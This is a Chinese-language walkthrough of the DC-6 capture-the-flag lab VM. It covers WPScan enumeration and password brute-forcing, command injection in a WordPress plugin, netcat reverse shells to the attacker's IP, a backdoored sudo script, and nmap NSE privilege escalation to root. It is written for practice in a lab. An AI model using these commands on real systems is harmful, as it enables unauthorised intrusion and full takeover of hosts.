DC-6靶機滲透測試全過程

目錄

前期準備

一、滲透測試

1.IP地址查詢

2.端口信息搜尋

3.網頁信息搜集

wappalyzer

?WPScan

反彈shell

graham用戶

反彈出jens的shell

nmap提權

?二、總結


前期準備

攻擊機: kali windows11

靶機:DC-6靶機(調至NAT模式)

一、滲透測試

1.IP地址查詢

┌──(root?kali)-[~]
└─# arp-scan -l

通過比較MAC地址,可以得到靶機的IP地址為 192.168.105.164

2.端口信息搜尋

┌──(root?kali)-[~]
└─# nmap -sV -p- 192.168.105.164

可以看到又開了SSH,后面應該又要登錄

3.網頁信息搜集

訪問靶機的80端口

看起來又被重定向掉了?還記得之前打靶機的經驗,嘗試去改hosts文件

到:C:\Windows\System32\drivers\etc 下修改hosts文件(使用Notepad++打開)

?保存下網頁就能夠正常訪問了

wappalyzer

?WPScan

看到一個很熟悉的cms——WordPress,這是我們之前打過的一個cms,并且還記得相應的工具WPScan。直接上網上搜,發現了WordPress 5.1.1 的漏洞。邊看看網頁邊用dirseach掃一下目錄。但是由于我們是在windows的hosts文件中改的重定向,而用wpscan掃網站時用的是kali,所以還應該將kali中的hosts文件修改一下,在 /etc/hosts

┌──(root?kali)-[~]
└─# wpscan --url http://wordy -e u

?成功掃出來了一些賬號名(保存為user.txt)然后尤其關注登錄頁面

以及用dirsearch掃出來一些目錄

?

先嘗試到登錄界面去 /wp-login.php

這里缺密碼怎么辦?之前用到的工具是Cewl進行爬取從而得到密碼字典,這里也可以試試

成功得到一些密碼,保存為passwds.txt ,然后使用WPScan進行網站登錄爆破

┌──(root?kali)-[~/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwds.txt

可惜這樣并不能夠爆破成功,密碼沒匹配上。。。看了別的師傅的wp才知道官網給了密碼的提示

提示我們用kali中的字典并匹配含k01這樣的密碼,在該目錄下

發現rockyou還是個壓縮包,先解壓得到rockyou.txt文件

┌──(root?kali)-[/usr/share/wordlists]
└─# gzip rockyou.txt.gz -d

先回到dc-6目錄,根據官網提示給的命令得到密碼字典

┌──(root?kali)-[~/dc-6]
└─# cat /usr/share/wordlists/rockyou.txt | grep k01 > passwds.txt

然后再用wpscan進行爆破

┌──(root?kali)-[~/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwds.txt

最終只得到了一個賬號: mark helpdesk01 直接登錄!

好的,現在想一下如何getshell(用mark直接ssh登錄發現是不行的,權限不夠)getshell可以通過命令執行彈一個shell,或者是得到別的賬戶密碼再次嘗試SSH

(1)首先可以去看看網頁的功能,對一些可能的功能點進行測試

(2)可以看看WordPress 5.1.1 的歷史漏洞,看看是否能夠被利用

首先還是來看看WordPress 5.1.1 的漏洞,主要流傳的是CSRF-to-RCE的那個漏洞

但看起來并不能夠用于該靶機,只能在網頁上找功能點了,而且一般來說,找的應該是插件的漏洞了,看看這里有哪幾個插件

主要是這兩個插件, 看看有沒有什么歷史漏洞?

可以看到百度上成功搜到了 Activity Monitor的歷史漏洞,復現一下看看

這個地方看可以輸入IP,和以前遇到的CTF題有點像,當我輸入127.0.0.1 | ls -l 時,發現不能輸入了,這里應該是有長度限制,看看是不是前端的長度限制

嘗試只修改前端的檢查試試,將其改為100

可以看到命令直接執行了,接下來彈個shell

反彈shell

現在kali上打開監聽

nc -lvp 5555

然后在IP處輸入

127.0.0.1 | nc 192.168.105.148 5555 -e /bin/bash

?點擊執行就成功getshell了

然后用python開啟交互式終端

python -c "import pty;pty.spawn('/bin/bash')"

再就是到提權了,先試試以往的提權方法

www-data@dc-6:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/bin/su
/bin/mount
/bin/umount
/bin/ping

然后直接問AI “請問哪些可以用于suid漏洞提權”? 但是看起來都不能利用,再試試 sudo -l,顯示需要輸入密碼,這個密碼也暫時是不知道的,只能再去看看別的一些用戶了,去home目錄下

www-data@dc-6:/home$ ls
ls
graham  jens  mark  sarah

看看各個用戶下面有什么,說不定就有舊密碼可以用于爆破

www-data@dc-6:/home/jens$ ls
ls
backups.sh

有到一個shell執行程序,看看是用來干嘛的

www-data@dc-6:/home/jens$ cat backups.sh
cat backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html

專門是用于解壓 /var/www/html下的 backups.tar.gz的(看起來就是打包網站的),先放這里,繼續看mark目錄下的stuff

www-data@dc-6:/home/mark/stuff$ cat things-to-do.txt
cat things-to-do.txt
Things to do:- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement

這里寫了一系列的事項(類似于一個flag)

恢復超空間驅動器的全部功能(需要和jens聊聊)

為sarah的告別派對買禮物

加新用戶:graham - 密碼為 GSo7isUM1D4 - 已完成

申請 OSCP 課程

為接替sarah工作的人買一臺新筆記本電腦

此外在sarah目錄下并沒有找到文件,但是事項中畢竟給了graham的密碼,另開一個終端,看看ssh能不能登錄上

graham用戶

成功登錄上,看看graham能否提權

graham@dc-6:/home$ sudo -l
Matching Defaults entries for graham on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser graham may run the following commands on dc-6:(jens) NOPASSWD: /home/jens/backups.sh

此時輸入 sudo -l 就有反應了,用到的就是之前看到的那個執行程序(若想要無密碼執行這個文件,需要用jens的身份), 先想想需要用這個程序干什么,再想想怎么用。這個程序最多讓我們獲得jens的shell,既然這樣的話,不妨嘗試通過這個程序登上jens的賬戶。嘗試寫入反彈shell

反彈出jens的shell

graham@dc-6:/home/jens$ echo "nc 192.168.105.148 5556 -e /bin/bash" >> backups.sh

再打開kali的監聽

┌──(root?kali)-[~]
└─# nc -lvp 5556

然后用jens的身份運行該文件

graham@dc-6:/home/jens$ sudo -u jens ./backups.sh

此時就成功獲得jens用戶的shell了,此時再看jens用戶能不能提權

jens@dc-6:~$ sudo -l
sudo -l
Matching Defaults entries for jens on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser jens may run the following commands on dc-6:(root) NOPASSWD: /usr/bin/nmap

?看到這里有nmap,并且也是免密碼運行的

jens@dc-6:/usr/bin$ ls -l nmap
ls -l nmap
-rwxr-xr-x 1 root root 2838168 Dec 22  2016 nmap

發現是root權限的,那就直接拿nmap來試試提權了,去百度搜索有關nmap的提權方式,發現有兩種

nmap提權

(1)低版本的nmap提權: 利用nmap的--interactive 進入交互式命令行執行,然后執行!/bin/bash就行
(2)高版本的nmap提權:首先將提權命令寫入腳本中,利用--script執行腳本
?echo "os.execute('/bin/bash')" > get_root.nse
?sudo nmap --script=get_root

這里應該就是用第二種了

jens@dc-6:~$ touch get_root.nse
touch get_root.nse
jens@dc-6:~$ ls
ls
backups.sh  backups.tar.gz  get_root.nse
jens@dc-6:~$ echo "os.execute('/bin/bash')" > get_root.nse
echo "os.execute('/bin/bash')" > get_root.nse
jens@dc-6:~$ cat get_root.nse
cat get_root.nse
os.execute('/bin/bash')

成功寫入,接下來運行

jens@dc-6:~$ sudo nmap --script=get_root.nse
sudo nmap --script=get_root.nseStarting Nmap 7.40 ( https://nmap.org ) at 2025-02-14 20:52 AEST
root@dc-6:/home/jens#

成功提權到root!

root@dc-6:~# cat theflag.txtYb        dP 888888 88     88         8888b.   dP"Yb  88b 88 888888 d8bYb  db  dP  88__   88     88          8I  Yb dP   Yb 88Yb88 88__   Y8PYbdPYbdP   88""   88  .o 88  .o      8I  dY Yb   dP 88 Y88 88""   `"'YP  YP    888888 88ood8 88ood8     8888Y"   YbodP  88  Y8 888888 (8)Congratulations!!!Hope you enjoyed DC-6.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.If you enjoyed this CTF, send me a tweet via @DCAU7.

?二、總結

(1)本次學習了nmap的提權方式,并且溫習了下WPScan的用法,相比于主動去找插件的漏洞,感覺WPScan應該也能掃出來(感覺)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/895604.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/895604.shtml
英文地址,請注明出處:http://en.pswp.cn/news/895604.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

[操作系統] 基礎IO:系統文件I/O

在 Linux 操作系統中,文件 I/O(輸入/輸出)是程序與文件系統交互的基礎。理解文件 I/O 的工作原理對于編寫高效、可靠的程序至關重要。本文將深入探討系統文件 I/O 的機制。 一種傳遞標志位的方法 在 Linux 中,文件的打開操作通常…

3.8 AI驅動的市場調研革命:從數據采集到競品策略生成的閉環實踐指南

AI驅動的市場調研革命:從數據采集到競品策略生成的閉環實踐指南 引言:智能時代的高效市場洞察 Forrester研究顯示,使用AI輔助市場調研可使數據采集效率提升8倍,策略生成速度加快4倍。本文以GitHub Sentinel、LanguageMentor為案例,揭示如何構建AI增強型市場分析體系,實現…

AF3 MmcifObject類解讀

AlphaFold3 中 MmcifObject類 是 解析 mmCIF 文件的核心數據結構,用于存儲解析后的蛋白質結構信息,包含PDB 頭部信息、Biopython 解析的結構、鏈序列信息等。 下面代碼包含 Monomer 、AtomSite、ResiduePosition、ResidueAtPosition、 MmcifObject以及ParsingResult數據類的…

網絡安全 “免疫力”:從人體免疫系統看防御策略

在當今數字化時代,網絡安全已變得至關重要。每天,我們的網絡系統都面臨著來自各方的威脅,就像人體時刻暴露在各種病原體中一樣。今天,我們就來聊聊網絡安全與人體免疫系統的奇妙聯系,看看從免疫系統中能汲取哪些構建強…

滾動彈幕案例

滾動彈幕案例 一、需求 1.頁面上漂浮字體大小不一、顏色不一&#xff0c;從左向右滾動的彈幕&#xff1b; 2.底部中間有一個發送功能&#xff0c;可以發送新的彈幕&#xff1b; 3.底部的發送部分可以向下收起和彈出。 二、html <div class"container"><…

【wiki知識庫】08.添加用戶登錄功能--后端SpringBoot部分

目錄 一、今日目標? 二、SpringBoot后端實現 2.1 新增UserLoginParam 2.2 修改UserController 2.3 UserServiceImpl代碼 2.4 創建用戶上下文工具類 2.5?通過token校驗用戶&#xff08;重要&#xff09; 2.6 創建WebMvcConfig 2.7 用戶權限校驗攔截器 一、今日目標 上…

AI大模型的技術突破與傳媒行業變革

性能與成本&#xff1a;AI大模型的“雙輪驅動” 過去幾年&#xff0c;AI大模型的發展經歷了從實驗室到產業化的關鍵轉折。2025年初&#xff0c;以DeepSeek R1為代表的模型在數學推理、代碼生成等任務中表現超越國際頭部產品&#xff0c;而訓練成本僅為傳統模型的幾十分之一。這…

C++字符串處理指南:從基礎操作到性能優化——基于std::string的全面解析

博主將從C標準庫中的 std::string 出發&#xff0c;詳細探討字符串的處理方法&#xff0c;涵蓋常見操作、性能優化和實際應用場景。以下內容將圍繞std::string 的使用展開&#xff0c;結合代碼示例進行說明。 一、std::string 的基本操作 1.1 創建與初始化 std::string 提供了…

3.【線性代數】——矩陣乘法和逆矩陣

三 矩陣乘法和逆矩陣 1. 矩陣乘法1.1 常規方法1.2 列向量組合1.3 行向量組合1.4 單行和單列的乘積和1.5 塊乘法 2. 逆矩陣2.1 逆矩陣的定義2.2 奇異矩陣2.3 Gauss-Jordan 求逆矩陣2.3.1 求逆矩陣 ? \Longleftrightarrow ?解方程組2.3.2 Gauss-Jordan求逆矩陣 1. 矩陣乘法 1.…

深入了解 Oracle 正則表達式

目錄 深入了解 Oracle 正則表達式一、正則表達式基礎概念二、Oracle 正則表達式語法&#xff08;一&#xff09;字符類&#xff08;二&#xff09;重復限定符&#xff08;三&#xff09;邊界匹配符&#xff08;四&#xff09;分組和捕獲 三、Oracle 正則表達式函數&#xff08;…

用python寫一個聊天室程序

下面是一個簡單的基于Socket的Python聊天室程序示例&#xff0c;包括服務器端和客戶端&#xff1a; 服務器端代碼&#xff1a; import socket import threadingdef handle_client(client, address):print(f"New connection from {address}")while True:msg client…

在nodejs中使用RabbitMQ(六)sharding消息分片

RabbitMQ 的分片插件&#xff08;rabbitmq_sharding&#xff09;允許將消息分布到多個隊列中&#xff0c;這在消息量很大或處理速度要求高的情況下非常有用。分片功能通過將消息拆分到多個隊列中來平衡負載&#xff0c;從而提升消息處理的吞吐量和可靠性。它能夠在多個隊列之間…

1.7 AI智能體實戰指南:從單任務自動化到企業級智能體集群架構

AI智能體實戰指南:從單任務自動化到企業級智能體集群架構 一、智能體技術演進:從腳本工具到認知革命的跨越 1.1 三代智能體能力對比 能力維度第一代(規則驅動)第二代(機器學習)第三代(LLM驅動)任務理解固定模式匹配統計模式識別語義推理與邏輯鏈分解環境適應需人工重寫…

Github 2025-02-14 Java開源項目日報 Top10

根據Github Trendings的統計,今日(2025-02-14統計)共有10個項目上榜。根據開發語言中項目的數量,匯總情況如下: 開發語言項目數量Java項目10C#項目1Guava: 谷歌Java核心庫 創建周期:3725 天開發語言:Java協議類型:Apache License 2.0Star數量:49867 個Fork數量:10822 次…

C++17中的clamp函數

一、std::clamp() 其實在前面簡單介紹過這個函數&#xff0c;但當時只是一個集中的說明&#xff0c;為了更好的理解std::clamp的應用&#xff0c;本篇再詳細進行闡述一次。std::clamp在C17中其定義的方式為&#xff1a; template< class T > constexpr const T& cl…

WEB安全--SQL注入--常見的注入手段

一、聯表查詢&#xff1a; 1.1原理&#xff1a; 當payload參數被后端查詢語句接收到時&#xff0c;其中的非法語句通過union關聯顯示出其他的數據 1.2示例&#xff1a; #payload: -1 and union select 1,2,database()--#query: $sqlselect * from users where id-1 and union …

QT筆記——QPlainTextEdit

文章目錄 1、概要2、文本設計2.1、設置文本2.1、字體樣式&#xff08;大小、下劃線、加粗、斜體&#xff09; 1、概要 QPlainTextEdit 是 Qt 框架中用于處理純文本編輯的控件&#xff0c;具有輕量級和高效的特點&#xff0c;以下是它常見的應用場景&#xff1a; 文本編輯器&am…

【D2】神經網絡初步學習

總結&#xff1a;學習了 PyTorch 中的基本概念和常用功能&#xff0c;張量&#xff08;Tensor&#xff09;的操作、自動微分&#xff08;Autograd&#xff09;、正向傳播、反向傳播。通過了解認識LeNet 模型&#xff0c;定義神經網絡類&#xff0c;熟悉卷積神經網絡的基本結構和…

DeepSeek處理自有業務的案例:讓AI給你寫一份小眾編輯器(EverEdit)的語法著色文件

1 DeepSeek處理自有業務的案例&#xff1a;讓AI給你寫一份小眾編輯器(EverEdit)的語法著色文件 1.1 背景 AI能力再強&#xff0c;如果不能在企業的自有業務上產生助益&#xff0c;那基本也是一無是處。將企業的自有業務上傳到線上訓練&#xff0c;那是腦子進水的做法&#xff…

DeepSeek教unity------MessagePack-05

動態反序列化 當調用 MessagePackSerializer.Deserialize<object> 或 MessagePackSerializer.Deserialize<dynamic> 時&#xff0c;二進制數據中存在的任何值都將被轉換為基本值&#xff0c;即 bool、char、sbyte、byte、short、int、long、ushort、uint、ulong、…